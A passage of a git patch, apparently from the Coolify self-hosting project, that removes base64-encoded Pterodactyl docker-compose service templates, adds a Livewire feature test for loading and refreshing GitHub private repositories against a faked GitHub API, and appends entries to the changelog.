dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9GUUROX1BURVJPREFDVFlMXzgwCiAgICAgIC0gJ0FETUlOX0VNQUlMPSR7QURNSU5fRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnQURNSU5fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdBRE1JTl9GSVJTVE5BTUU9JHtBRE1JTl9GSVJTVE5BTUU6LUFkbWlufScKICAgICAgLSAnQURNSU5fTEFTVE5BTUU9JHtBRE1JTl9MQVNUTkFNRTotVXNlcn0nCiAgICAgIC0gJ0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICAgIC0gJ1BURVJPREFDVFlMX0hUVFBTPSR7UFRFUk9EQUNUWUxfSFRUUFM6LWZhbHNlfScKICAgICAgLSBBUFBfRU5WPXByb2R1Y3Rpb24KICAgICAgLSBBUFBfRU5WSVJPTk1FTlRfT05MWT1mYWxzZQogICAgICAtIEFQUF9VUkw9JFNFUlZJQ0VfRlFETl9QVEVST0RBQ1RZTAogICAgICAtICdBUFBfVElNRVpPTkU9JHtUSU1FWk9ORTotVVRDfScKICAgICAgLSAnQVBQX1NFUlZJQ0VfQVVUSE9SPSR7QVBQX1NFUlZJQ0VfQVVUSE9SOi1hdXRob3JAZXhhbXBsZS5jb219JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LWRlYnVnfScKICAgICAgLSBDQUNIRV9EUklWRVI9cmVkaXMKICAgICAgLSBTRVNTSU9OX0RSSVZFUj1yZWRpcwogICAgICAtIFFVRVVFX0RSSVZFUj1yZWRpcwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBEQl9EQVRBQkFTRT1wdGVyb2RhY3R5bC1kYgogICAgICAtIERCX1VTRVJOQU1FPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBEQl9IT1NUPW1hcmlhZGIKICAgICAgLSBEQl9QT1JUPTMzMDYKICAgICAgLSBEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1BSUxfRlJPTT0kTUFJTF9GUk9NCiAgICAgIC0gTUFJTF9EUklWRVI9JE1BSUxfRFJJVkVSCiAgICAgIC0gTUFJTF9IT1NUPSRNQUlMX0hPU1QKICAgICAgLSBNQUlMX1BPUlQ9JE1BSUxfUE9SVAogICAgICAtIE1BSUxfVVNFUk5BTUU9JE1BSUxfVVNFUk5BTUUKICAgICAgLSBNQUlMX1BBU1NXT1JEPSRNQUlMX1BBU1NXT1JECiAgICAgIC0gTUFJTF9FTkNSWVBUSU9OPSRNQUlMX0VOQ1JZUFRJT04K", - "tags": [ - "game", - "game server", - "management", - "panel", - "minecraft" - ], - "category": "media", - "logo": "svgs/pterodactyl.png", - "minversion": "0.0.0", - "port": "80" - }, - "pterodactyl-with-wings": { - "documentation": "https://pterodactyl.io/?utm_source=coolify.io", - "slogan": "Pterodactyl is a free, open-source game server management panel", - "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9GUUROX1BURVJPREFDVFlMXzgwCiAgICAgIC0gJ0FETUlOX0VNQUlMPSR7QURNSU5fRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnQURNSU5fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdBRE1JTl9GSVJTVE5BTUU9JHtBRE1JTl9GSVJTVE5BTUU6LUFkbWlufScKICAgICAgLSAnQURNSU5fTEFTVE5BTUU9JHtBRE1JTl9MQVNUTkFNRTotVXNlcn0nCiAgICAgIC0gJ0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICAgIC0gJ1BURVJPREFDVFlMX0hUVFBTPSR7UFRFUk9EQUNUWUxfSFRUUFM6LWZhbHNlfScKICAgICAgLSBBUFBfRU5WPXByb2R1Y3Rpb24KICAgICAgLSBBUFBfRU5WSVJPTk1FTlRfT05MWT1mYWxzZQogICAgICAtIEFQUF9VUkw9JFNFUlZJQ0VfRlFETl9QVEVST0RBQ1RZTAogICAgICAtICdBUFBfVElNRVpPTkU9JHtUSU1FWk9ORTotVVRDfScKICAgICAgLSAnQVBQX1NFUlZJQ0VfQVVUSE9SPSR7QVBQX1NFUlZJQ0VfQVVUSE9SOi1hdXRob3JAZXhhbXBsZS5jb219JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LWRlYnVnfScKICAgICAgLSBDQUNIRV9EUklWRVI9cmVkaXMKICAgICAgLSBTRVNTSU9OX0RSSVZFUj1yZWRpcwogICAgICAtIFFVRVVFX0RSSVZFUj1yZWRpcwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBEQl9EQVRBQkFTRT1wdGVyb2RhY3R5bC1kYgogICAgICAtIERCX1VTRVJOQU1FPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBEQl9IT1NUPW1hcmlhZGIKICAgICAgLSBEQl9QT1JUPTMzMDYKICAgICAgLSBEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1BSUxfRlJPTT0kTUFJTF9GUk9NCiAgICAgIC0gTUFJTF9EUklWRVI9JE1BSUxfRFJJVkVSCiAgICAgIC0gTUFJTF9IT1NUPSRNQUlMX0hPU1QKICAgICAgLSBNQUlMX1BPUlQ9JE1BSUxfUE9SVAogICAgICAtIE1BSUxfVVNFUk5BTUU9JE1BSUxfVVNFUk5BTUUKICAgICAgLSBNQUlMX1BBU1NXT1JEPSRNQUlMX1BBU1NXT1JECiAgICAgIC0gTUFJTF9FTkNSWVBUSU9OPSRNQUlMX0VOQ1JZUFRJT04KICB3aW5nczoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC93aW5nczp2MS4xMi4xJwogICAgcmVzdGFydDogdW5sZXNzLXN0b3BwZWQKICAgIHBvcnRzOgogICAgICAtICcyMDIyOjIwMjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fV0lOR1NfODQ0MwogICAgICAtICdUWj0ke1RJTUVaT05FOi1VVEN9JwogICAgICAtIFdJTkdTX1VTRVJOQU1FPXB0ZXJvZGFjdHlsCiAgICB2b2x1bWVzOgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jaycKICAgICAgLSAnL3Zhci9saWIvZG9ja2VyL2NvbnRhaW5lcnMvOi92YXIvbGliL2RvY2tlci9jb250YWluZXJzLycKICAgICAgLSAnL3Zhci9saWIvcHRlcm9kYWN0eWwvOi92YXIvbGliL3B0ZXJvZGFjdHlsLycKICAgICAgLSAnL3RtcC9wdGVyb2RhY3R5bC86L3RtcC9wdGVyb2RhY3R5bC8nCiAgICAgIC0gJ3dpbmdzLWxvZ3M6L3Zhci9sb2cvcHRlcm9kYWN0eWwvJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9ldGMvY29uZmlnLnltbAogICAgICAgIHRhcmdldDogL2V0Yy9wdGVyb2RhY3R5bC9jb25maWcueW1sCiAgICAgICAgY29udGVudDogImRlYnVnOiBmYWxzZVxudXVpZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjOWFiYzgtYWJjNy1hYmM2LWFiYzUtYWJjNGFiYzNhYmMyXG50b2tlbl9pZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjMWFiYzJhYmMzYWJjNFxudG9rZW46IFJFUExBQ0UgRlJPTSBDT05GSUcgICNleGFtcGxlOiBhYmMxYWJjMmFiYzNhYmM0YWJjNWFiYzZhYmM3YWJjOGFiYzlhYmMxMGFiYzExYWJjMTJhYmMxM2FiYzE0YWJjMTVhYmMxNlxuYXBpOlxuICBob3N0OiAwLjAuMC4wXG4gIHBvcnQ6IDg0NDMgIyB1c2UgcG9ydCA0NDMgSU4gVEhFIFBBTkVMIGR1cmluZyBub2RlIHNldHVwXG4gIHNzbDpcbiAgICBlbmFibGVkOiBmYWxzZVxuICAgIGNlcnQ6IFJFUExBQ0UgRlJPTSBDT05GSUcgI2V4YW1wbGU6IC9ldGMvbGV0c2VuY3J5cHQvbGl2ZS93aW5ncy1hYmNhYmNhYmNhYmNhYmMuZXhhbXBsZS5jb20vZnVsbGNoYWluLnBlbVxuICAgIGtleTogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogL2V0Yy9sZXRzZW5jcnlwdC9saXZlL3dpbmdzLWFiY2FiY2FiY2FiY2FiYy5leGFtcGxlLmNvbS9wcml2a2V5LnBlbVxuICBkaXNhYmxlX3JlbW90ZV9kb3dubG9hZDogZmFsc2VcbiAgdXBsb2FkX2xpbWl0OiAxMDBcbiAgdHJ1c3RlZF9wcm94aWVzOiBbXVxuc3lzdGVtOlxuICByb290X2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWxcbiAgbG9nX2RpcmVjdG9yeTogL3Zhci9sb2cvcHRlcm9kYWN0eWxcbiAgZGF0YTogL3Zhci9saWIvcHRlcm9kYWN0eWwvdm9sdW1lc1xuICBhcmNoaXZlX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYXJjaGl2ZXNcbiAgYmFja3VwX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYmFja3Vwc1xuICB0bXBfZGlyZWN0b3J5OiAvdG1wL3B0ZXJvZGFjdHlsXG4gIHVzZXJuYW1lOiBwdGVyb2RhY3R5bFxuICB0aW1lem9uZTogVVRDXG4gIHVzZXI6XG4gICAgcm9vdGxlc3M6XG4gICAgICBlbmFibGVkOiBmYWxzZVxuICAgICAgY29udGFpbmVyX3VpZDogMFxuICAgICAgY29udGFpbmVyX2dpZDogMFxuICAgIHVpZDogOTg4XG4gICAgZ2lkOiA5ODhcbiAgZGlza19jaGVja19pbnRlcnZhbDogMTUwXG4gIGFjdGl2aXR5X3NlbmRfaW50ZXJ2YWw6IDYwXG4gIGFjdGl2aXR5X3NlbmRfY291bnQ6IDEwMFxuICBjaGVja19wZXJtaXNzaW9uc19vbl9ib290OiB0cnVlXG4gIGVuYWJsZV9sb2dfcm90YXRlOiB0cnVlXG4gIHdlYnNvY2tldF9sb2dfY291bnQ6IDE1MFxuICBzZnRwOlxuICAgIGJpbmRfYWRkcmVzczogMC4wLjAuMFxuICAgIGJpbmRfcG9ydDogMjAyMlxuICAgIHJlYWRfb25seTogZmFsc2VcbiAgY3Jhc2hfZGV0ZWN0aW9uOlxuICAgIGVuYWJsZWQ6IHRydWVcbiAgICBkZXRlY3RfY2xlYW5fZXhpdF9hc19jcmFzaDogdHJ1ZVxuICAgIHRpbWVvdXQ6IDYwXG4gIGJhY2t1cHM6XG4gICAgd3JpdGVfbGltaXQ6IDBcbiAgICBjb21wcmVzc2lvbl9sZXZlbDogYmVzdF9zcGVlZFxuICB0cmFuc2ZlcnM6XG4gICAgZG93bmxvYWRfbGltaXQ6IDBcbiAgb3BlbmF0X21vZGU6IGF1dG9cbmRvY2tlcjpcbiAgbmV0d29yazpcbiAgICBpbnRlcmZhY2U6IDE3Mi4yOC4wLjFcbiAgICBkbnM6XG4gICAgICAtIDEuMS4xLjFcbiAgICAgIC0gMS4wLjAuMVxuICAgIG5hbWU6IHB0ZXJvZGFjdHlsX253XG4gICAgaXNwbjogZmFsc2VcbiAgICBkcml2ZXI6IGJyaWRnZVxuICAgIG5ldHdvcmtfbW9kZTogcHRlcm9kYWN0eWxfbndcbiAgICBpc19pbnRlcm5hbDogZmFsc2VcbiAgICBlbmFibGVfaWNjOiB0cnVlXG4gICAgbmV0d29ya19tdHU6IDE1MDBcbiAgICBpbnRlcmZhY2VzOlxuICAgICAgdjQ6XG4gICAgICAgIHN1Ym5ldDogMTcyLjI4LjAuMC8xNlxuICAgICAgICBnYXRld2F5OiAxNzIuMjguMC4xXG4gICAgICB2NjpcbiAgICAgICAgc3VibmV0OiBmZGJhOjE3Yzg6NmM5NDo6LzY0XG4gICAgICAgIGdhdGV3YXk6IGZkYmE6MTdjODo2Yzk0OjoxMDExXG4gIGRvbWFpbm5hbWU6IFwiXCJcbiAgcmVnaXN0cmllczoge31cbiAgdG1wZnNfc2l6ZTogMTAwXG4gIGNvbnRhaW5lcl9waWRfbGltaXQ6IDUxMlxuICBpbnN0YWxsZXJfbGltaXRzOlxuICAgIG1lbW9yeTogMTAyNFxuICAgIGNwdTogMTAwXG4gIG92ZXJoZWFkOlxuICAgIG92ZXJyaWRlOiBmYWxzZVxuICAgIGRlZmF1bHRfbXVsdGlwbGllcjogMS4wNVxuICAgIG11bHRpcGxpZXJzOiB7fVxuICB1c2VfcGVyZm9ybWFudF9pbnNwZWN0OiB0cnVlXG4gIHVzZXJuc19tb2RlOiBcIlwiXG4gIGxvZ19jb25maWc6XG4gICAgdHlwZTogbG9jYWxcbiAgICBjb25maWc6XG4gICAgICBjb21wcmVzczogXCJmYWxzZVwiXG4gICAgICBtYXgtZmlsZTogXCIxXCJcbiAgICAgIG1heC1zaXplOiA1bVxuICAgICAgbW9kZTogbm9uLWJsb2NraW5nXG50aHJvdHRsZXM6XG4gIGVuYWJsZWQ6IHRydWVcbiAgbGluZXM6IDIwMDBcbiAgbGluZV9yZXNldF9pbnRlcnZhbDogMTAwXG5yZW1vdGU6IGh0dHA6Ly9wdGVyb2RhY3R5bDo4MFxucmVtb3RlX3F1ZXJ5OlxuICB0aW1lb3V0OiAzMFxuICBib290X3NlcnZlcnNfcGVyX3BhZ2U6IDUwXG5hbGxvd2VkX21vdW50czogW11cbmFsbG93ZWRfb3JpZ2luczpcbiAgLSBodHRwOi8vcHRlcm9kYWN0eWw6ODBcbiAgLSBQQU5FTCBET01BSU4gIyBleGFtcGxlOiBodHRwczovL3B0ZXJvZGFjdHlsLWFiY2FiY2FiY2FiY2F2Yy5leGFtcGxlLmNvbVxuYWxsb3dfY29yc19wcml2YXRlX25ldHdvcms6IGZhbHNlXG5pZ25vcmVfcGFuZWxfY29uZmlnX3VwZGF0ZXM6IGZhbHNlIgo=", - "tags": [ - "game", - "game server", - "management", - "panel", - "minecraft" - ], - "category": "media", - "logo": "svgs/pterodactyl.png", - "minversion": "0.0.0", - "port": "80, 8443" - }, "qbittorrent": { "documentation": "https://docs.linuxserver.io/images/docker-qbittorrent/?utm_source=coolify.io", "slogan": "The qBittorrent project aims to provide an open-source software alternative to \u03bcTorrent.", diff --git a/tests/Feature/GithubPrivateRepositoryTest.php b/tests/Feature/GithubPrivateRepositoryTest.php new file mode 100644 index 000000000..19474caca --- /dev/null +++ b/tests/Feature/GithubPrivateRepositoryTest.php @@ -0,0 +1,126 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + $this->rsaKey = openssl_pkey_new([ + 'private_key_bits' => 2048, + 'private_key_type' => OPENSSL_KEYTYPE_RSA, + ]); + openssl_pkey_export($this->rsaKey, $pemKey); + + $this->privateKey = PrivateKey::create([ + 'name' => 'Test Key', + 'private_key' => $pemKey, + 'team_id' => $this->team->id, + ]); + + $this->githubApp = GithubApp::create([ + 'name' => 'Test GitHub App', + 'api_url' => 'https://api.github.com', + 'html_url' => 'https://github.com', + 'custom_user' => 'git', + 'custom_port' => 22, + 'app_id' => 12345, + 'installation_id' => 67890, + 'client_id' => 'test-client-id', + 'client_secret' => 'test-client-secret', + 'webhook_secret' => 'test-webhook-secret', + 'private_key_id' => $this->privateKey->id, + 'team_id' => $this->team->id, + 'is_system_wide' => false, + ]); +}); + +function fakeGithubHttp(array $repositories): void +{ + Http::fake([ + 'https://api.github.com/zen' => Http::response('Keep it logically awesome.', 200, [ + 'Date' => now()->toRfc7231String(), + ]), + 'https://api.github.com/app/installations/67890/access_tokens' => Http::response([ + 'token' => 'fake-installation-token', + ], 201), + 'https://api.github.com/installation/repositories*' => Http::response([ + 'total_count' => count($repositories), + 'repositories' => $repositories, + ], 200), + ]); +} + +describe('GitHub Private Repository Component', function () { + test('loadRepositories fetches and displays repositories', function () { + $repos = [ + ['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']], + ['id' => 2, 'name' => 'beta-repo', 'owner' => ['login' => 'testuser']], + ]; + + fakeGithubHttp($repos); + + Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app']) + ->assertSet('current_step', 'github_apps') + ->call('loadRepositories', $this->githubApp->id) + ->assertSet('current_step', 'repository') + ->assertSet('total_repositories_count', 2) + ->assertSet('selected_repository_id', 1); + }); + + test('loadRepositories can be called again to refresh the repository list', function () { + $initialRepos = [ + ['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']], + ]; + + fakeGithubHttp($initialRepos); + + $component = Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app']) + ->call('loadRepositories', $this->githubApp->id) + ->assertSet('total_repositories_count', 1); + + // Simulate new repos becoming available after changing access on GitHub + $updatedRepos = [ + ['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']], + ['id' => 2, 'name' => 'beta-repo', 'owner' => ['login' => 'testuser']], + ['id' => 3, 'name' => 'gamma-repo', 'owner' => ['login' => 'testuser']], + ]; + + fakeGithubHttp($updatedRepos); + + $component + ->call('loadRepositories', $this->githubApp->id) + ->assertSet('total_repositories_count', 3) + ->assertSet('current_step', 'repository'); + }); + + test('refresh button is visible when repositories are loaded', function () { + $repos = [ + ['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']], + ]; + + fakeGithubHttp($repos); + + Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app']) + ->call('loadRepositories', $this->githubApp->id) + ->assertSeeHtml('title="Refresh Repository List"'); + }); + + test('refresh button is not visible before repositories are loaded', function () { + Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app']) + ->assertDontSeeHtml('title="Refresh Repository List"'); + }); +}); From 769365713079bc12399751cd94d2fa1c88b456e3 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 15 Mar 2026 17:04:45 +0000 Subject: [PATCH 22/95] docs: update changelog --- CHANGELOG.md | 242 +++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 242 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 026dec470..45cbd48d2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1225,6 +1225,66 @@ ### 🚀 Features - *(service)* Disable maybe (#8167) - *(service)* Add sure - *(service)* Add sure (#8157) +- *(docker)* Install PHP sockets extension in development environment +- *(services)* Add Spacebot service with custom logo support (#8427) +- Expose scheduled tasks to API +- *(api)* Add OpenAPI for managing scheduled tasks for applications and services +- *(api)* Add delete endpoints for scheduled tasks in applications and services +- *(api)* Add update endpoints for scheduled tasks in applications and services +- *(api)* Add scheduled tasks CRUD API with auth and validation (#8428) +- *(monitoring)* Add scheduled job monitoring dashboard (#8433) +- *(service)* Disable plane +- *(service)* Disable plane (#8580) +- *(service)* Disable pterodactyl panel and pterodactyl wings +- *(service)* Disable pterodactyl panel and pterodactyl wings (#8512) +- *(service)* Upgrade beszel and beszel-agent to v0.18 +- *(service)* Upgrade beszel and beszel-agent to v0.18 (#8513) +- Add command healthcheck type +- Require health check command for 'cmd' type with backend validation and frontend update +- *(healthchecks)* Add command health checks with input validation +- *(healthcheck)* Add command-based health check support (#8612) +- *(jobs)* Optimize async job dispatches and enhance Stripe subscription sync +- *(jobs)* Add queue delay resilience to scheduled job execution +- *(scheduler)* Add pagination to skipped jobs and filter manager start events +- Add comment field to environment variables +- Limit comment field to 256 characters for environment variables +- Enhance environment variable handling to support mixed formats and add comprehensive tests +- Add comment field to shared environment variables +- Show comment field for locked environment variables +- Add function to extract inline comments from docker-compose YAML environment variables +- Add magic variable detection and update UI behavior accordingly +- Add comprehensive environment variable parsing with nested resolution and hardcoded variable detection +- *(models)* Add is_required to EnvironmentVariable fillable array +- Add comment field to environment variables (#7269) +- *(service)* Pydio-cells.yml +- Pydio cells svg +- Pydio-cells.yml pin to stable version +- *(service)* Add Pydio cells (#8323) +- *(service)* Disable minio community edition +- *(service)* Disable minio community edition (#8686) +- *(subscription)* Add Stripe server limit quantity adjustment flow +- *(subscription)* Add refunds and cancellation management (#8637) +- Add configurable timeout for public database TCP proxy +- Add configurable proxy timeout for public database TCP proxy (#8673) +- *(jobs)* Implement encrypted queue jobs +- *(proxy)* Add database-backed config storage with disk backups +- *(proxy)* Add database-backed config storage with disk backups (#8905) +- *(livewire)* Add selectedActions parameter and error handling to delete methods +- *(gitlab)* Add GitLab source integration with SSH and HTTP basic auth +- *(git-sources)* Add GitLab integration and URL encode credentials (#8910) +- *(server)* Add server metadata collection and display +- *(git-import)* Support custom ssh command for fetch, submodule, and lfs +- *(ui)* Add log filter based on log level +- *(ui)* Add log filter based on log level (#8784) +- *(seeders)* Add GitHub deploy key example application +- *(service)* Update n8n-with-postgres-and-worker to 2.10.4 (#8807) +- *(service)* Add container label escape control to services API +- *(server)* Allow force deletion of servers with resources +- *(server)* Allow force deletion of servers with resources (#8962) +- *(compose-preview)* Populate fqdn from docker_compose_domains +- *(compose-preview)* Populate fqdn from docker_compose_domains (#8963) +- *(server)* Auto-fetch server metadata after validation +- *(server)* Auto-fetch server metadata after validation (#8964) ### 🐛 Bug Fixes @@ -4517,6 +4577,110 @@ ### 🐛 Bug Fixes - *(server)* Improve IP uniqueness validation with team-specific error messages - *(service)* Glitchtip webdashboard doesn't load - *(service)* Glitchtip webdashboard doesn't load (#8249) +- *(api)* Improve scheduled tasks API with auth, validation, and execution endpoints +- *(api)* Improve scheduled tasks validation and delete logic +- *(security)* Harden deployment paths and deploy abilities (#8549) +- *(service)* Always enable force https labels +- *(traefik)* Respect force https in service labels (#8550) +- *(team)* Include webhook notifications in enabled check (#8557) +- *(service)* Resolve team lookup via service 